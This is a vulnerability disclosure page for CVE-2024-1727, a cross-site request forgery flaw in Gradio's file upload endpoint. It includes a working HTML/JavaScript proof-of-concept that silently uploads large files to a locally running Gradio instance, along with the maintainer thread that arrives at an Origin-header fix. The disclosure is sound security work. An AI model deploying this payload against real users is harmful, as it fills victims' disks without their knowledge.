

CSRF allows attacker to upload many large files to victim in gradio-app/gradio

✓ Valid

Reported on Jan 29th 2024

Description

A Cross-Site Request Forgery gives attackers the ability to upload many large files to a victim, if they are running Gradio locally.

Proof of Concept

The HTML payload below will upload files of about 1MB to the victim's PC. This PoC can easily be expanded to upload larger, or multiple files to the victim.

```
<html>
<body>
  <script>
    function submitRequest()
    {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "http://127.0.0.1:7860/upload?upload_id=k9wbugmn37", true);
      xhr.setRequestHeader("Accept", "*/*");
      xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
      xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=-----");
      xhr.withCredentials = true;
      var body = "-----226429124014608851241059184049\r\n
        \"Content-Disposition: form-data; name=\"files\"; filename=\"a.php\" \r\n\"
        \"Content-Type: application/octet-stream\r\n\" +
        \"\r\n\" +
        \"aa\".repeat(999999) + \"\n\"
        \"\r\n\" +
        \"-----226429124014608851241059184049--\r\n\";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));
    }
    submitRequest();
  </script>
  <form action="#">
    <input type="button" value="Submit request" onclick="submitRequest();" />
  </form>
```

```
</body>  
</html>
```

Impact

This vulnerability has a low impact on the availability of the target system. Sustained attacks may cause the system to not have enough disk space left to operate properly.

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago

✉️ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago

✉️ We have sent a follow up to the **gradio-app/gradio** team. We will try again in 4 days. 2 years ago



Abubakar Abid commented 2 years ago

Maintainer

Yes this is a known vulnerability. We have an open issue here: <https://github.com/gradio-app/gradio/issues/3801>



A **gradio-app/gradio** maintainer has acknowledged this report 2 years ago

📅 The scheduled publication date was automatically extended from 15th Mar 2024 to 22nd Mar 2024 due to the maintainers acknowledgement of the report 2 years ago



pinkdraconian commented 2 years ago

Researcher

Hi Abubakar. The issue mentioned here is entirely different from this finding.

This finding allows any website from uploading files to the victim without the victim's knowledge.

For example: The user visits some-forum.com and all of a sudden their entire filesystem is full. Without them seeing.



Abubakar Abid commented 2 years ago

Maintainer

Oh I see, that's very concerning then. I'll work on validating this. Any suggestions for how to go about mitigating?



pinkdraconian commented 2 years ago

Researcher

That's a good question. I'm unaware of the intended behavior of this functionality.

One solution could be to deprecate the ability to send requests as multipart form data.

Another solution could be to require a header to be set in the request such as 'Gradio: <3'. The backend would then check the presence of this header. An attacker would not be able to send such request from the browser of the victim, as they run into CORS. However the application itself can still craft this request.

But perhaps it's best if you give some more details on how this function is actually used in the application. That way I can give me more applicable recommendations.



pinkdraconian commented 2 years ago

Researcher

I just figured out the ideal solution: Just check that the Origin header is the expected origin.

This solution is ideal as it only requires backend changes, which allows applications that have built a front end around Gradio to still function.



Abubakar Abid commented 2 years ago

Maintainer

Hi thanks again for submitting the report. We've opened a PR with this fix:
<https://github.com/gradio-app/gradio/pull/7503>

Would you be able to confirm if this fixes the issue for you? You can install gradio from this PR by doing:

```
pip install https://gradio-builds.s3.amazonaws.com/915e39edd72d94cb78395e1892356296b67c0a57/gradio-4.19.1-py3-none-any.whl
```



pinkdraconian commented 2 years ago

Researcher

Thank you. I can confirm that the fix is working.



Abubakar Abid gave praise 2 years ago



The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



Abubakar Abid validated this vulnerability 2 years ago



pinkdraconian has been awarded the disclosure bounty ✓



The fix bounty is now up for grabs



The researcher's credibility has increased: +7



CVE-2024-1727 assigned to this report. 2 years ago



Abubakar Abid marked this as fixed in **4.19.2** with commit **84802e** 2 years ago

\$ The fix bounty has been dropped 

 We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours 2 years ago

 This vulnerability has now been published 2 years ago

 **CVE-2024-1727** has now been published 2 years ago

[Sign in](#) to join this conversation

CVE
CVE-2024-1727
Published

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
Medium (4.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
4.16.0

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



pinkdraconian

@pinkdraconian

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)